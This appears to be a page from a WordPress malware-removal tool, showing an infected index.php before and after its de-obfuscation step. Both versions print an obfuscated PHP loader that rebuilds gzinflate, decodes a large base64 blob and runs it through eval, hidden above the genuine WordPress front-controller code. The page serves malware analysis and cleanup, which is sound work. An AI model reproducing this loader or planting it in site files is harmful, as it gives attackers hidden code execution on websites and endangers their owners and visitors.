De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php function zo4RQlaX($SHpR1Rspi46r) { $U8vACJ = "Ziegtanl"; $FJoNhAS5uZOx = $U8vACJ[3] . $U8vACJ[(0 * 1)] . $U8vACJ[(23 - 21) / 2] . $U8vACJ[(0 * 15) + 6] . "F" . $U8vACJ[20 + - 13] . $U8vACJ[9 - 4] . $U8vACJ[4] . $U8vACJ[2]; $FJoNhAS5uZOx .= ""; return $FJoNhAS5uZOx($SHpR1Rspi46r); } $ANqJEy = "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"; $WwOy9ISIfCh7mF = function ($w9awNt1sJNK87) { EVaL($w9awNt1sJNK87); $mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK"; return $mXM0ar3y76T; }; $ANqJEy = $pK_m1r($ANqJEy); $ANqJEy = zo4RQlaX($ANqJEy); $WwOy9ISIfCh7mF($ANqJEy); ?><?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';
<?php function zo4RQlaX($SHpR1Rspi46r) { $U8vACJ = "Ziegtanl"; $FJoNhAS5uZOx = "gZinF" . $U8vACJ[33] . $U8vACJ[5] . $U8vACJ[4] . $U8vACJ[2]; $FJoNhAS5uZOx .= ""; return $FJoNhAS5uZOx($SHpR1Rspi46r); } $ANqJEy = "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"; $WwOy9ISIfCh7mF = function ($w9awNt1sJNK87) { eval($w9awNt1sJNK87); $mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK"; return $mXM0ar3y76T; }; $ANqJEy = $pK_m1r($ANqJEy); $ANqJEy = zo4RQlaX($ANqJEy); $WwOy9ISIfCh7mF($ANqJEy); /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require "/var/www/html/wp-blog-header.php";
Malware detection & removal plugin for WordPress
(C)2020 Wordpress Doctor All rights reserved.